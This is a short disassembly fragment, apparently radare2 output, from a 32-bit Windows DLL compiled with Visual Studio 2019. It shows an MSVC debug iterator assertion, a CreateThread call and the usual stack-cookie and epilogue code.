jne 0x100d2063
int3
push 0
push 0x4d6
push str.C:Program_Files__x86_Microsoft_Visual_Studio2019CommunityVCToolsMSVC14.29.30133includexutility
push 0x101b8c38
push str._transposed_pointer_range_
call fcn.10136180
add esp, 0x14
push dword [ebp - 0x140c]
push esi
push edi
call fcn.100e1660
mov edi, dword [ebp - 0x1404]
push 0
push 0
push edi
push 0x100b9550
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x14c8]
mov dword [edi + 0x158], eax
call fcn.100d21b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.101204c0
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.10044910
int3